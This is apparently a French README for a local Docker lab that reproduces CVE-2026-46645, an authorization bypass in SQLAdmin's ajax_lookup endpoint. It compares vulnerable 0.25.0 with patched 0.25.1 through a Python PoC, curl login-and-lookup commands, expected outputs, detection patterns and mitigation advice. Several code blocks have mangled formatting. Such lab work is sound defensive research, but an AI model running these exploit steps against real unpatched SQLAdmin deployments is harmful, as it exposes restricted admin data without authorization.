CVE-2026-46645 - Contournement d'autorisation ajax_lookup de SQLAdmin

Résumé exécutif

Ce référentiel contient un laboratoire Docker local pour reproduire CVE-2026-46645, une vulnérabilité de contournement d'autorisation affectant le point de terminaison ajax_lookup de SQLAdmin.

SQLAdmin est une interface d'administration pour les modèles SQLAlchemy dans les applications Starlette et FastAPI. Le comportement vulnérable se produit lorsqu'une application restreint une ModelView avec is_accessible(request), mais que la route ajax_lookup de SQLAdmin n'applique pas la même décision de contrôle d'accès avant de renvoyer les résultats de la recherche.

Ce laboratoire compare deux versions de SQLAdmin :

Service	Version SQLAdmin	Objectif	URL
`vuln`	`0.25.0`	Cible vulnérable	`http://127.0.0.1:8001`
`patched`	`0.25.1`	Cible de comparaison corrigée	`http://127.0.0.1:8002`

La chaîne de vulnérabilité démontrée est :```text Authenticated low-privileged user → restricted SQLAdmin ModelView → ModelView.is_accessible(request) returns False → user directly requests the ajax_lookup endpoint → SQLAdmin 0.25.0 returns relationship lookup data → SQLAdmin 0.25.1 blocks the same request with HTTP 403

Le laboratoire utilise intentionnellement un modèle de données simple `Report` / `SecretProject` pour rendre le contournement d'autorisation facile à comprendre. Ces noms de modèles ne sont pas la cause profonde de la vulnérabilité. Ils sont uniquement utilisés pour créer une condition de reproduction contrôlée.

Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.

## Faits vérifiés

| Affirmation                                                                 | Preuve                                                                                                           | Comment vérifier dans ce laboratoire                                                                 |
| --------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------- |
| Le point de terminaison `ajax_lookup` de SQLAdmin est le composant affecté. | L'avis public décrit le format du point de terminaison affecté comme `GET /{identity}/ajax/lookup?name=<field>&term=<query>`. | Exécutez le PoC et observez les requêtes vers `/admin/report/ajax/lookup?name=project&term=Secret`. |
| SQLAdmin `0.25.0` est utilisé comme cible de comparaison vulnérable.        | Le laboratoire installe `sqladmin==0.25.0` dans le conteneur `vuln`.                                               | Exécutez `docker compose exec -T vuln python -m pip show sqladmin`.                                 |
| SQLAdmin `0.25.1` est utilisé comme cible de comparaison corrigée.          | L'avis public et les notes de version identifient `0.25.1` comme la version corrigée.                              | Exécutez `docker compose exec -T patched python -m pip show sqladmin`.                              |
| La cause profonde se trouve dans la route `Admin.ajax_lookup()` en amont de SQLAdmin. | Le correctif ajoute l'authentification manquante et l'application de `is_accessible(request)` à `ajax_lookup()`. | Inspectez `Admin.ajax_lookup()` dans les deux conteneurs avec les commandes de ce README.           |
| Le laboratoire crée un `ModelView` restreint.                               | `ReportAdmin.is_accessible(request)` renvoie intentionnellement `False`.                                          | Inspectez `app/main.py`.                                                                            |
| Le PoC utilise une session authentifiée.                                    | Le PoC se connecte d'abord à `/admin/login`, conserve le cookie de session, puis demande `ajax_lookup`.            | Exécutez `python3 poc/poc.py --base-url http://127.0.0.1:8001`.                                     |
| Le signal de vulnérabilité est l'exposition de données.                     | SQLAdmin `0.25.0` renvoie HTTP 200 et des résultats de recherche JSON depuis une vue restreinte.                 | La cible vulnérable doit renvoyer `Secret Project Alpha` et `Secret Project Beta`.                  |
| Le signal corrigé est le refus d'accès.                                     | SQLAdmin `0.25.1` renvoie HTTP 403 pour la même requête authentifiée.                                             | La cible corrigée doit renvoyer `403 Forbidden`.                                                    |

## Hypothèses et inconnues

Ce laboratoire utilise `sqladmin==0.25.0` comme base de référence vulnérable et `sqladmin==0.25.1` comme base de référence corrigée.

Le laboratoire se concentre sur la condition de contournement d'autorisation où :```text
A user is authenticated,
the target ModelView is not accessible,
but ajax_lookup is requested directly.

Le laboratoire ne tente pas de reproduire tous les modèles de déploiement possibles de SQLAdmin. Il crée intentionnellement une petite application Starlette avec une vue d'administration restreinte afin que la différence de comportement entre les versions vulnérable et corrigée soit facile à vérifier.

Les modèles Report et SecretProject sont des objets propres au laboratoire. Ils ne font pas partie de SQLAdmin lui-même.

La PoC ne tente pas d'escalade de privilèges, de modification de données, de vol de session, de rappels externes, de persistance ou d'attaques contre des systèmes hors laboratoire.

Résumé de la cause racine

La cause racine se trouve dans la route Admin.ajax_lookup() en amont de SQLAdmin, et non dans le code de l'application de ce laboratoire.

SQLAdmin permet aux développeurs de restreindre l'accès aux vues d'administration en surchargeant :```python ModelView.is_accessible(request)

Les autres routes d'administration sont censées appliquer cette décision de contrôle d'accès avant d'autoriser la poursuite de la requête. Par exemple, les routes telles que list, create, details, delete, edit et export vérifient si la requête courante est autorisée à accéder au `ModelView` cible.

La route vulnérable `ajax_lookup` n'a pas appliqué la même décision de contrôle d'accès.

Le point de terminaison `ajax_lookup` est utilisé par la fonctionnalité `form_ajax_refs` de SQLAdmin pour charger dynamiquement les valeurs de relations. Son format de point de terminaison est :```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

Dans la version vulnérable, ajax_lookup() résout le ModelView cible, lit le nom du champ de recherche et le terme de recherche depuis la chaîne de requête, puis appelle le chargeur AJAX et renvoie les résultats JSON. L'étape de sécurité manquante est qu'elle ne vérifie pas d'abord si la demande actuelle est autorisée à accéder à ce ModelView.

L'impact sur la sécurité est qu'un utilisateur authentifié peut être bloqué pour accéder à une vue d'administration restreinte via les routes normales de l'interface utilisateur, mais peut toujours demander directement le point de terminaison de recherche AJAX pour cette vue et recevoir des données de recherche de relations.

SQLAdmin 0.25.1 corrige cela en imposant le contrôle d'accès à l'intérieur de ajax_lookup(). La route corrigée vérifie model_view.is_accessible(request) et renvoie HTTP 403 lorsque la vue cible n'est pas accessible.

Ce laboratoire définit ReportAdmin.is_accessible(request) pour renvoyer False uniquement afin de reproduire la condition vulnérable. Le code du laboratoire n'est pas la cause première. Il s'agit d'un banc d'essai contrôlé qui prouve si la route ajax_lookup() en amont de SQLAdmin respecte la décision de contrôle d'accès.

Différence de comportement attendue :```text sqladmin 0.25.0 -> HTTP 200 with JSON lookup results sqladmin 0.25.1 -> HTTP 403 Forbidden

## Résumé du correctif source

Le correctif amont significatif est l'ajout de l'application de l'authentification et de l'autorisation à `Admin.ajax_lookup()`.

Le comportement corrigé est équivalent à :```python
@login_required
async def ajax_lookup(self, request):
    identity = request.path_params["identity"]
    model_view = self._find_model_view(identity)

    if not model_view.is_accessible(request):
        raise HTTPException(status_code=403)

    name = request.query_params.get("name")
    term = request.query_params.get("term")
    ...

La vérification d'autorisation clé est :```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

Le laboratoire démontre que cette vérification est absente de la version vulnérable et présente dans la version corrigée.

## Architecture du laboratoire

Le laboratoire exécute deux applications Starlette isolées via Docker Compose.```text
.
├── app/
│   ├── __init__.py
│   └── main.py
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
├── requirements/
│   ├── patched.txt
│   └── vuln.txt
└── vuln/
    └── Dockerfile

Les deux services exécutent le même code d'application mais installent différentes versions de SQLAdmin :

Service	Version du paquet	Mappage de ports
`vuln`	`sqladmin==0.25.0`	`127.0.0.1:8001 -> 8000`
`patched`	`sqladmin==0.25.1`

L'application crée deux modèles SQLAlchemy :```text SecretProject Report

`Report` a une relation avec `SecretProject`:```text
Report.project -> SecretProject

ReportAdmin définit une recherche de relation AJAX :```python form_ajax_refs = { "project": { "fields": ("name",), "order_by": "name", "limit": 10, } }

La vue administrateur restreinte est :```python
class ReportAdmin(ModelView, model=Report):
    def is_accessible(self, request):
        return False

Ceci crée intentionnellement la condition nécessaire pour tester si la route ajax_lookup() de SQLAdmin applique is_accessible().

Le point de terminaison vulnérable utilisé par le PoC est :```text /admin/report/ajax/lookup?name=project&term=Secret

Identifiants par défaut du laboratoire:```text
username: analyst
password: lab-password

Exigences

Docker Desktop ou Docker Engine
Docker Compose v2
Python 3
Package Python requests pour exécuter le PoC depuis l'hôte
curl pour la reproduction manuelle HTTP
Accès Internet lors de la construction de l'image pour installer les packages Python depuis PyPI

Installer la dépendance du PoC sur l'hôte si nécessaire :```bash python3 -m pip install requests

## Démarrage rapide

Construisez et démarrez le laboratoire :```bash
docker compose down --remove-orphans
docker compose up --build -d

Vérifier l'état du conteneur :```bash docker compose ps

Services exposés attendus :```text
Vulnerable target: http://127.0.0.1:8001
Patched target:    http://127.0.0.1:8002

Vérifier les points de terminaison de santé :```bash curl -i http://127.0.0.1:8001/health curl -i http://127.0.0.1:8002/health

Les deux devraient retourner:```json
{"status":"ok"}

Ouvrez l'interface d'administration dans un navigateur si vous le souhaitez :```text http://127.0.0.1:8001/admin http://127.0.0.1:8002/admin

Identifiants de connexion:```text
analyst / lab-password

Utilisation du PoC

Exécutez le PoC contre le service vulnérable :```bash python3 poc/poc.py
--base-url http://127.0.0.1:8001
--label "sqladmin 0.25.0 vulnerable"

Exécutez le même PoC contre le service patché :```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched"

Le PoC effectue les étapes suivantes :```text

Send POST /admin/login with the lab credentials.
Keep the returned session cookie.
Send GET /admin/report/ajax/lookup?name=project&term=Secret.
Print the HTTP status, content type, response body, and interpretation.

Le PoC imprime intentionnellement le flux des requêtes et réponses afin que le contournement d'autorisation soit visible pour le lecteur.

## Reproduction manuelle HTTP avec curl

Vous pouvez reproduire la vulnérabilité manuellement sans utiliser `poc/poc.py`.

Ceci est utile lorsque vous souhaitez montrer le flux HTTP exact :```text
login
→ save session cookie
→ send ajax_lookup request
→ compare vulnerable and patched responses

Cible vulnérable

Définir l'URL de la cible vulnérable :```bash TARGET="http://127.0.0.1:8001" COOKIE_JAR="/tmp/cve-2026-46645-vuln.cookies"

Connectez-vous en tant qu'utilisateur du laboratoire et enregistrez le cookie de session :```bash
curl -i -s -L \
  -c "$COOKIE_JAR" \
  -b "$COOKIE_JAR" \
  -X POST "$TARGET/admin/login" \
  -d "username=analyst" \
  -d "password=lab-password"

Envoyez la requête ajax_lookup restreinte :```bash curl -i -s
-b "$COOKIE_JAR"
"$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Résultat vulnérable attendu :```http
HTTP/1.1 200 OK
content-type: application/json

Corps attendu :```json { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

Cela confirme le comportement vulnérable car la requête est authentifiée, `ReportAdmin.is_accessible(request)` renvoie `False`, mais SQLAdmin `0.25.0` renvoie toujours les données de recherche.

### Cible corrigée

Définissez l'URL de la cible corrigée :```bash
TARGET="http://127.0.0.1:8002"
COOKIE_JAR="/tmp/cve-2026-46645-patched.cookies"

Connectez-vous en tant que le même utilisateur du laboratoire :```bash curl -i -s -L
-c "$COOKIE_JAR"
-b "$COOKIE_JAR"
-X POST "$TARGET/admin/login"
-d "username=analyst"
-d "password=lab-password"

Envoyez la même requête restreinte `ajax_lookup` :```bash
curl -i -s \
  -b "$COOKIE_JAR" \
  "$TARGET/admin/report/ajax/lookup?name=project&term=Secret"

Résultat attendu après correction :```http HTTP/1.1 403 Forbidden

Cela confirme le comportement corrigé car SQLAdmin `0.25.1` applique la vérification manquante `ModelView.is_accessible(request)` dans `ajax_lookup()`.

### Comparaison en une ligne

Service vulnérable:```bash
curl -s -L \
  -c /tmp/cve-2026-46645-vuln.cookies \
  -b /tmp/cve-2026-46645-vuln.cookies \
  -X POST http://127.0.0.1:8001/admin/login \
  -d "username=analyst" \
  -d "password=lab-password" >/dev/null && \
curl -i -s \
  -b /tmp/cve-2026-46645-vuln.cookies \
  "http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret"

Service patché```bash curl -s -L
-c /tmp/cve-2026-46645-patched.cookies
-b /tmp/cve-2026-46645-patched.cookies
-X POST http://127.0.0.1:8002/admin/login
-d "username=analyst"
-d "password=lab-password" >/dev/null &&
curl -i -s
-b /tmp/cve-2026-46645-patched.cookies
"http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret"

Comparaison attendue :```text
sqladmin 0.25.0 -> HTTP 200 + JSON lookup results
sqladmin 0.25.1 -> HTTP 403 Forbidden

Résultat attendu

Cible vulnérable :```text

Target: sqladmin 0.25.0 vulnerable

Base URL : http://127.0.0.1:8001 Login URL : http://127.0.0.1:8001/admin/login Lookup URL : http://127.0.0.1:8001/admin/report/ajax/lookup Lookup params : name='project', term='Secret'

Request: POST http://127.0.0.1:8001/admin/login form username='analyst' form password=

Response: HTTP status : 200 Final URL : http://127.0.0.1:8001/admin/ Cookies : {'session': ''}

================================================================================ Step 2 - Send ajax_lookup request to restricted ModelView

Request: GET http://127.0.0.1:8001/admin/report/ajax/lookup?name=project&term=Secret

Security condition:

The user is authenticated.
ReportAdmin.is_accessible(request) returns False.
A restricted admin ModelView should not expose lookup data.

Response: HTTP status : 200 Content-Type : application/json

Body: { "results": [ { "id": "1", "text": "Secret Project Alpha" }, { "id": "2", "text": "Secret Project Beta" } ] }

================================================================================ Step 3 - Interpretation

[VULNERABLE SIGNAL] The restricted ajax_lookup endpoint returned HTTP 200 and JSON results. This means an authenticated user could query lookup data even though ReportAdmin.is_accessible(request) returned False.

Cible patchée :```text
================================================================================
Target: sqladmin 0.25.1 patched
================================================================================
Base URL      : http://127.0.0.1:8002
Login URL     : http://127.0.0.1:8002/admin/login
Lookup URL    : http://127.0.0.1:8002/admin/report/ajax/lookup
Lookup params : name='project', term='Secret'

================================================================================
Step 1 - Login as authenticated low-privileged user
================================================================================
Request:
POST http://127.0.0.1:8002/admin/login
form username='analyst'
form password=<hidden>

Response:
HTTP status : 200
Final URL   : http://127.0.0.1:8002/admin/
Cookies     : {'session': '<redacted>'}

================================================================================
Step 2 - Send ajax_lookup request to restricted ModelView
================================================================================
Request:
GET http://127.0.0.1:8002/admin/report/ajax/lookup?name=project&term=Secret

Security condition:
- The user is authenticated.
- ReportAdmin.is_accessible(request) returns False.
- A restricted admin ModelView should not expose lookup data.

Response:
HTTP status  : 403
Content-Type : text/html; charset=utf-8

================================================================================
Step 3 - Interpretation
================================================================================
[PATCHED SIGNAL]
The restricted ajax_lookup endpoint returned HTTP 403.
This matches the patched behavior introduced in SQLAdmin 0.25.1.

Comment fonctionne le PoC

Le PoC utilise la bibliothèque Python requests et un objet requests.Session() persistant.

Tout d'abord, il s'authentifie auprès de SQLAdmin :```text POST /admin/login

avec les identifiants du laboratoire :```text
analyst / lab-password

Après la connexion, l'objet session conserve le cookie de session retourné.

Ensuite, le PoC envoie la requête de recherche AJAX restreinte :```text GET /admin/report/ajax/lookup?name=project&term=Secret

Dans l'application de laboratoire, cette requête cible `ReportAdmin`.

`ReportAdmin` est intentionnellement inaccessible :```python
def is_accessible(self, request):
    return False

Ceci est la condition du laboratoire. Ce n'est pas la vulnérabilité en amont.

La question de sécurité testée est :```text Does SQLAdmin's upstream ajax_lookup route enforce the ModelView access decision?

Sur SQLAdmin `0.25.0`, le point de terminaison retourne HTTP 200 et des résultats de recherche JSON. Cela confirme le comportement vulnérable.

Sur SQLAdmin `0.25.1`, le point de terminaison retourne HTTP 403. Cela confirme le comportement corrigé.

## Commandes de vérification utiles

Vérifier les conteneurs en cours d'exécution :```bash
docker compose ps

Vérifiez les journaux de service :```bash docker compose logs vuln patched

Vérifier les versions de SQLAdmin installées :```bash
docker compose exec -T vuln python -m pip show sqladmin
docker compose exec -T patched python -m pip show sqladmin

Versions attendues :```text vuln -> Version: 0.25.0 patched -> Version: 0.25.1

Exécutez à nouveau le PoC:```bash
python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable"

ENTRÉE:```bash python3 poc/poc.py
--base-url http://127.0.0.1:8002
--label "sqladmin 0.25.1 patched"

Enregistrer la sortie de preuve :```bash
mkdir -p evidence

python3 poc/poc.py \
  --base-url http://127.0.0.1:8001 \
  --label "sqladmin 0.25.0 vulnerable" \
  | tee evidence/poc-vuln-0.25.0.txt

python3 poc/poc.py \
  --base-url http://127.0.0.1:8002 \
  --label "sqladmin 0.25.1 patched" \
  | tee evidence/poc-patched-0.25.1.txt

docker compose ps | tee evidence/docker-compose-ps.txt
docker compose logs vuln patched > evidence/docker-compose-logs.txt

Inspectez la source vulnérable installée :```bash docker compose exec -T vuln python - <<'PY' import inspect import sqladmin.application

print(sqladmin.application.file) print(inspect.getsource(sqladmin.application.Admin.ajax_lookup)) PY

Inspectez la source patchée installée :```bash
docker compose exec -T patched python - <<'PY'
import inspect
import sqladmin.application

print(sqladmin.application.__file__)
print(inspect.getsource(sqladmin.application.Admin.ajax_lookup))
PY

La version vulnérable ne devrait pas imposer model_view.is_accessible(request) à l'intérieur de ajax_lookup().

La version corrigée devrait inclure une vérification d'autorisation équivalente à :```python if not model_view.is_accessible(request): raise HTTPException(status_code=403)

## Détection et surveillance

Dans une application réelle utilisant SQLAdmin, une activité suspecte peut apparaître sous forme de requêtes directes vers les endpoints de recherche AJAX :```text
/admin/<identity>/ajax/lookup?name=<field>&term=<query>

Pour ce laboratoire, les indicateurs de logs utiles incluent :```text GET /admin/report/ajax/lookup?name=project&term=Secret

Motif de journal vulnérable attendu :```text
GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 200 OK

Modèle de journal patché attendu :```text GET /admin/report/ajax/lookup?name=project&term=Secret HTTP/1.1" 403 Forbidden

Potentiel d'idées de surveillance en production :

* examiner l'accès direct aux endpoints `/ajax/lookup`,
* comparer l'accès aux recherches par rapport aux workflows attendus de l'interface d'administration,
* surveiller les termes de recherche répétés provenant de comptes à faibles privilèges,
* vérifier si les classes `ModelView` sensibles utilisent `form_ajax_refs`,
* vérifier si les vues de modèles restreintes sont toujours exposées via les recherches de relations.

## Atténuation et notes de correctif

Mettez à niveau SQLAdmin vers la version `0.25.1` ou ultérieure.

Le correctif ajoute le contrôle d'accès manquant à la route `ajax_lookup`. L'endpoint corrigé vérifie si la requête actuelle est autorisée à accéder à la `ModelView` cible. Si `is_accessible(request)` renvoie `False`, la requête est bloquée avec le code HTTP 403.

Recommandations de durcissement au niveau de l'application :

* mettre à niveau SQLAdmin vers une version corrigée,
* examiner toutes les implémentations personnalisées de `ModelView.is_accessible()`,
* éviter d'exposer les recherches de relations sensibles via `form_ajax_refs` sauf si nécessaire,
* tester les vues d'administration restreintes via les routes normales de l'interface utilisateur et les routes de recherche AJAX,
* surveiller l'accès aux endpoints `/admin/*/ajax/lookup`,
* s'assurer que l'authentification de l'administration et la gestion des sessions sont correctement configurées.

## Nettoyage

Arrêter et supprimer les conteneurs et les réseaux :```bash
docker compose down --remove-orphans

Supprimez les conteneurs, les réseaux et les volumes anonymes :```bash docker compose down -v --remove-orphans

Supprimez les images construites localement si vous le souhaitez :```bash
docker image rm \
  cve-2026-46645-sqladmin-vuln:0.25.0 \
  cve-2026-46645-sqladmin-patched:0.25.1 \
  2>/dev/null || true

Supprimez les fichiers de preuve si vous le souhaitez :```bash rm -rf evidence/

## Limites de sécurité

Ce laboratoire est réservé à la recherche locale en sécurité et à la démonstration contrôlée uniquement.

N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation de tester.

N'utilisez pas de véritables identifiants, de secrets de production ou de cibles externes dans ce laboratoire.

Le PoC est intentionnellement limité aux services Docker locaux tels que :```text
http://127.0.0.1:8001
http://127.0.0.1:8002

Le PoC n'inclut pas de payloads pour le vol d'identifiants, la modification de données, la persistance, le mouvement latéral ou les rappels externes.

L'objectif est de démontrer une condition spécifique de contournement d'autorisation dans un environnement contrôlé :```text authenticated user

restricted ModelView
ajax_lookup request
vulnerable version returns data
patched version returns 403

## Références

- Base de données d'avis GitHub : Contournement d'autorisation de SQLAdmin sur ajax_lookup  
  https://github.com/advisories/GHSA-54mc-gghv-4cfj

- Avis OSV : GHSA-54mc-gghv-4cfj / CVE-2026-46645  
  https://osv.dev/vulnerability/GHSA-54mc-gghv-4cfj

- Version SQLAdmin 0.25.1  
  https://github.com/smithyhq/sqladmin/releases/tag/0.25.1

- Comparaison SQLAdmin : 0.25.0 à 0.25.1  
  https://github.com/smithyhq/sqladmin/compare/0.25.0...0.25.1

- SQLAdmin 0.25.0 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.0/sqladmin/application.py

- SQLAdmin 0.25.1 application.py  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/sqladmin/application.py

- Tests d'authentification SQLAdmin  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_authentication.py

- Tests AJAX SQLAdmin  
  https://github.com/smithyhq/sqladmin/blob/0.25.1/tests/test_ajax.py

- PyPI : sqladmin  
  https://pypi.org/project/sqladmin/

- Dépôt GitHub SQLAdmin  
  https://github.com/smithyhq/sqladmin

CVE-2026-46645-Analysis-Lab

Populaires

À propos